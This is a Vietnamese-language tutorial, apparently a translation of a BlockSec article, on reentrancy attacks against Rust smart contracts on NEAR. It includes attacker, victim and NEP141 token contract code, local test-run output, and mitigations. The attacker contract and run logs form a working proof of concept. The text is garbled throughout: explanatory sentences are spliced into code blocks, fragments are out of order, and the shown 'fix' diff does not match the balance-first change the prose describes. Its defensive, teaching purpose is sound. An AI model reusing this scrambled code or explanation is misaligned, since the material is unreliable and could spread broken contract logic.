

Những bài viết liên quan:
Nhật ký phát triển hợp đồng thông minh Rust (2) Viết bài kiểm tra đơn vị hợp đồng thông minh Rust
Nhật ký phát triển hợp đồng thông minh Rust (4) Tràn số nguyên hợp đồng thông minh Rust
Nhật ký phát triển hợp đồng thông minh Rust (1) Định nghĩa dữ liệu trạng thái hợp đồng và triển khai phương pháphttps://github.com/blocksecteam/near_demo
Nhật ký phát triển hợp đồng thông minh Rust (2) Viết bài kiểm tra đơn vị hợp đồng thông minh Rust
Nhật ký phát triển hợp đồng thông minh Rust (2) Viết bài kiểm tra đơn vị hợp đồng thông minh Rust
Nhật ký phát triển hợp đồng thông minh Rust (3) Triển khai hợp đồng thông minh Rust, gọi hàm và sử dụng Explorer
Nhật ký phát triển hợp đồng thông minh Rust (3) Triển khai hợp đồng thông minh Rust, gọi hàm và sử dụng Explorer
Nhật ký phát triển hợp đồng thông minh Rust (4) Tràn số nguyên hợp đồng thông minh Rust
Trong số này, chúng tôi sẽ cho bạn thấy các cuộc tấn công vào lại trong hợp đồng Rust và cung cấp các đề xuất tương ứng cho các nhà phát triển. Mã có liên quan trong bài viết này đã được tải lên Github của BlockSec và độc giả có thể tự tải xuống:
tiêu đề phụ
1. Nguyên lý tấn công vào lại
hình ảnh
Chúng tôi sử dụng một ví dụ đơn giản trong cuộc sống thực để hiểu các cuộc tấn công vào lại: nghĩa là, giả sử rằng người dùng có 100 nhân dân tệ tiền mặt trong ngân hàng, khi người dùng muốn rút tiền từ ngân hàng, trước tiên anh ta sẽ nói với nhân viên giao dịch-A : "Tôi muốn Lấy 60 nhân dân tệ." Teller-A sẽ kiểm tra số dư của người dùng tại thời điểm này là 100 nhân dân tệ. Vì số dư lớn hơn số tiền người dùng muốn rút nên trước tiên, giao dịch viên A sẽ giao 60 nhân dân tệ tiền mặt cho người dùng. Nhưng trước khi giao dịch viên A có thời gian cập nhật số dư của người dùng thành 40 nhân dân tệ, người dùng đã chạy sang nhà bên cạnh và nói với một giao dịch viên khác-B: "Tôi muốn rút 60 nhân dân tệ", và che giấu việc anh ta vừa rút tiền từ giao dịch viên- Một sự thật về tiền bạc. Vì số dư của người dùng chưa được giao dịch viên A cập nhật nên giao dịch viên B kiểm tra thấy số dư của người dùng vẫn là 100 nhân dân tệ, vì vậy giao dịch viên B sẽ tiếp tục giao 60 nhân dân tệ cho người dùng mà không do dự. Người dùng cuối đã thực sự nhận được 120 nhân dân tệ tiền mặt, lớn hơn 100 nhân dân tệ tiền mặt được lưu trữ trước đó trong ngân hàng.
Tại sao điều này xảy ra? Lý do là nhân viên giao dịch-A đã không khấu trừ trước 60 nhân dân tệ từ tài khoản của người dùng. Nếu giao dịch viên-A có thể khấu trừ số tiền trước. Khi người dùng yêu cầu giao dịch viên B rút tiền, giao dịch viên B sẽ thấy rằng số dư của người dùng đã được cập nhật và không thể rút nhiều tiền hơn số dư (40 nhân dân tệ).
Phần 2 dưới đây trước tiên sẽ giới thiệu kiến thức cơ bản có liên quan và phần 3 sẽ trình bày một ví dụ về cuộc tấn công vào lại cụ thể trong NEAR LocalNet để phản ánh tác hại của việc vào lại mã đối với các hợp đồng thông minh được triển khai trên chuỗi NEAR. Ở cuối bài viết này, chúng tôi sẽ giới thiệu chi tiết về công nghệ bảo vệ chống lại các cuộc tấn công vào lại để giúp bạn viết hợp đồng thông minh Rust tốt hơn.
tiêu đề phụ
2. Kiến thức nền tảng: thao tác chuyển giao của NEP141
NEP141 là tiêu chuẩn của Fungible Token (sau đây gọi là Token) trên chuỗi công khai NEAR. Hầu hết các mã thông báo trên NEAR đều tuân theo tiêu chuẩn NEP141.
Khi người dùng muốn gửi hoặc rút một lượng Mã thông báo nhất định từ một Nhóm nhất định, chẳng hạn như trao đổi phi tập trung (DEX), người dùng có thể gọi giao diện hợp đồng tương ứng để hoàn thành thao tác cụ thể.
Khi hợp đồng dự án DEX thực thi chức năng giao diện tương ứng, nó sẽ gọi hàm ft_transfer/ft_transfer_call trong hợp đồng Mã thông báo để thực hiện hoạt động chuyển giao chính thức. Sự khác biệt giữa hai chức năng này như sau:
Khi gọi hàm ft_transfer trong hợp đồng Mã thông báo, người nhận chuyển khoản (receiver_id) là tài khoản EOA.
#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct VictimContract {
attacker_balance: u128,
other_balance: u128,
}
impl Default for VictimContract {
fn default() -> Self {
Self {
attacker_balance: 100,
other_balance:100
}
}
}
Khi gọi hàm ft_transfer_call trong hợp đồng Mã thông báo, người nhận chuyển khoản (receiver_id) là tài khoản hợp đồng.
Đối với ft_transfer_call, ngoài việc khấu trừ số tiền chuyển lần đầu của người khởi tạo giao dịch (sender_id) và tăng số dư của người dùng nhận chuyển (receiver_id), phương thức này còn thêm một chức năng bổ sung gọi là ft_on_transfer (chức năng thu tiền) trong hợp đồng receiver_id. ) cho các cuộc gọi hợp đồng chéo. Có thể hiểu đơn giản ở đây là lúc này hợp đồng Token sẽ nhắc hợp đồng receiver_id rằng người dùng đã gửi một lượng Token xác định. Hợp đồng receiver_id sẽ tự duy trì việc quản lý số dư của tài khoản nội bộ trong hàm ft_on_transfer.
#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct FungibleToken {
attacker_balance: u128,
victim_balance: u128
}
impl Default for FungibleToken {
fn default() -> Self {
Self {
attacker_balance: 0,
victim_balance: 200
}
}
tiêu đề phụ
3. Ví dụ cụ thể về nhập lại mã
Giả sử có ba hợp đồng thông minh như sau:
impl MaliciousContract {
pub fn malicious_call(&mut self, amount:u128){
ext_victim::withdraw(
amount.into(),
&VICTIM,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
);
}
...
}
Hợp đồng A: Hợp đồng kẻ tấn công;
impl VictimContract {Hợp đồng B: Hợp đồng nạn nhân.
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
Kẻ tấn công sẽ sử dụng hợp đồng này để thực hiện các giao dịch tấn công tiếp theo.
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
}
...
}
Đối với hợp đồng DEX. Tại thời điểm khởi tạo, tài khoản Kẻ tấn công có số dư là 100 và những người dùng DEX khác có số dư là 100. Nghĩa là, hợp đồng DEX nắm giữ tổng cộng 200 Mã thông báo tại thời điểm này.
Hợp đồng C: Hợp đồng mã thông báo (NEP141).
#[near_bindgen]Hợp đồng Kẻ tấn công gọi chức năng rút tiền trong hợp đồng Nạn nhân (hợp đồng B) thông qua chức năng malware_call;
#[near_bindgen]Trong hợp đồng B, assert!(self.attacker_balance>=mount); khi bắt đầu chức năng rút tiền sẽ kiểm tra xem tài khoản Attacker có đủ số dư hay không, lúc này số dư là 100>60 và các bước rút tiền tiếp theo sẽ được thực thi thông qua khẳng định.
// Gọi chức năng thu tiền của Attacker
Hàm rút tiền trong hợp đồng B sau đó sẽ gọi hàm ft_transfer_call trong hợp đồng C (hợp đồng FT_Token);
Các cuộc gọi hợp đồng chéo được thực hiện thông qua ext_ft_token::ft_transfer_call trong đoạn mã trên.
impl FungibleToken {
pub fn ft_transfer_call(&mut self,amount: u128)-> PromiseOrValue
Trước cuộc tấn công, do tài khoản của Kẻ tấn công không rút tiền mặt từ hợp đồng Nạn nhân nên số dư là 0. Tại thời điểm này, số dư của hợp đồng Nạn nhân (DEX) là 100+100 =200;
self.attacker_balance += amount;
self.victim_balance -= amount;
Phần sau đây mô tả quy trình cụ thể của cuộc tấn công vào lại mã:
ext_fungible_token_receiver::ft_on_transfer(
amount.into(),
&ATTACKER,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
).into()
}
...
}
impl MaliciousContract {
pub fn ft_on_transfer(&mut self, amount: u128){
Ví dụ: tại thời điểm này, Kẻ tấn công chuyển giá trị của tham số số tiền cho chức năng rút tiền là 60, với hy vọng rút được 60 từ hợp đồng B;
if self.reentered == false{
ext_victim::withdraw(
amount.into(),
&VICTIM,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
);
}
self.reentered = true;
}
...
}
Hàm ft_transfer_call trong hợp đồng C sẽ cập nhật số dư của tài khoản kẻ tấn công = 0 + 60 = 60 và số dư của tài khoản hợp đồng Nạn nhân = 200 - 60 = 140, sau đó gọi hàm ft_on_transfer "thu thập mã thông báo" của hợp đồng A thông qua ext_fungible_token_receiver::ft_on_transfer.
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Victim::attacker_balance:3.402823669209385e+38
FT_Token::attacker_balance:120
FT_Token::victim_balance:80
// Gọi chức năng thu tiền của Attacker
Bởi vì hợp đồng A được kiểm soát bởi Kẻ tấn công và mã có hành vi độc hại. Do đó, chức năng ft_on_transfer "độc hại" có thể gọi chức năng rút tiền trong hợp đồng B bằng cách thực hiện lại ext_victim::withdraw, để đạt được hiệu quả của việc vào lại.
// Chức năng thu tiền của hợp đồng độc hại
Vì số dư của kẻ tấn công trong hợp đồng nạn nhân chưa được cập nhật kể từ lần rút tiền cuối cùng được nhập, nó vẫn là 100, vì vậy việc kiểm tra khẳng định!(self.attacker_balance>= số tiền) vẫn có thể được thông qua vào thời điểm này. Sau khi rút tiền, chức năng ft_transfer_call sẽ được gọi lại trên các hợp đồng trong hợp đồng FT_Token và số dư của tài khoản kẻ tấn công = 60 + 60 = 120 và số dư của tài khoản hợp đồng Nạn nhân = 140 - 60 = 80;
#[near_bindgen]
impl VictimContract {
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
self.attacker_balance -= amount;
ft_transfer_call gọi lại chức năng ft_on_transfer trong hợp đồng Kẻ tấn công một lần nữa. Do chức năng ft_on_transfer trong hợp đồng A hiện chỉ nhập lại chức năng rút tiền một lần nên hành vi nhập lại bị chấm dứt khi ft_on_transfer được gọi lần này.
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
} #[private]
pub fn ft_resolve_transfer(&mut self, amount: u128) {
match env::promise_result(0) {
PromiseResult::NotReady => unreachable!(),
PromiseResult::Successful(_) => {
}
PromiseResult::Failed => {
Sau đó, hàm sẽ quay trở lại từng bước dọc theo chuỗi lệnh gọi trước đó, kết quả là self.attacker_balance = 100 -60 -60 = -20 khi cập nhật self.attacker_balance trong hàm rút tiền trong hợp đồng B
Vì self.attacker_balance là u128 và safe_math không được sử dụng nên sẽ gây tràn số nguyên.
self.attacker_balance += amount;
}
};
}
Kết quả thực thi cuối cùng như sau:
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X
Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Smart contract panicked: panicked at 'assertion failed: self.attacker_balance >= amount', src/lib.rs:45:9"}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140
Điều đó có nghĩa là, mặc dù số dư FungibleToken bị khóa bởi Kẻ tấn công người dùng trong DEX chỉ là 100, nhưng số tiền chuyển thực tế mà Kẻ tấn công nhận được là 120, điều này nhận ra mục đích của cuộc tấn công vào lại mã này.
tiêu đề phụ
4. Công nghệ chống nhập lại mã
4.1 Cập nhật tổng và trạng thái trước (trừ tiền trước) rồi mới chuyển khoản
Thay đổi logic thực hiện trong hợp đồng B rút mã thành:
// Gọi chức năng thu tiền của Attacker
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
// Nếu chuyển giao cuộc gọi hợp đồng chéo ext_ft_token::ft_transfer_call không thành công,
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
- env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
+ GAS_FOR_SINGLE_CALL * 3
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
}
// Sau đó quay lại cập nhật trạng thái số dư tài khoản trước đó
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX
Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Exceeded the prepaid gas."}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140
Có thể thấy rằng do hợp đồng Victim tại thời điểm này đã cập nhật trước số dư của người dùng khi rút tiền nên nó đang gọi FungibleToken bên ngoài để thực hiện chuyển khoản. Do đó, khi rút tiền được nhập lại lần thứ hai, số dư của kẻ tấn công được lưu trong hợp đồng Nạn nhân đã được cập nhật thành 40, do đó, xác nhận!(self.attacker_balance>= tiền) sẽ không được thông qua; quá trình gọi Attcker không thể được thực hiện được kích hoạt do Chuyên gia chênh lệch giá hoảng loạn khẳng định với mã nhập lại.
4.2 Giới thiệu một mutex
Phương pháp này tương tự như khi giao dịch viên A chưa kịp cập nhật số dư của người dùng thành 40 tệ, người dùng đã chạy sang nhà bên cạnh và nói với một giao dịch viên B khác: "Tôi muốn rút 60 tệ". Mặc dù người dùng đã che giấu việc mình vừa rút tiền từ giao dịch viên A. Nhưng giao dịch viên B có thể biết rằng người dùng đã đến giao dịch viên A và chưa hoàn thành tất cả các vấn đề, lúc này giao dịch viên B có thể từ chối người dùng rút tiền. Thông thường, một mutex có thể được thực hiện bằng cách đưa vào một biến trạng thái
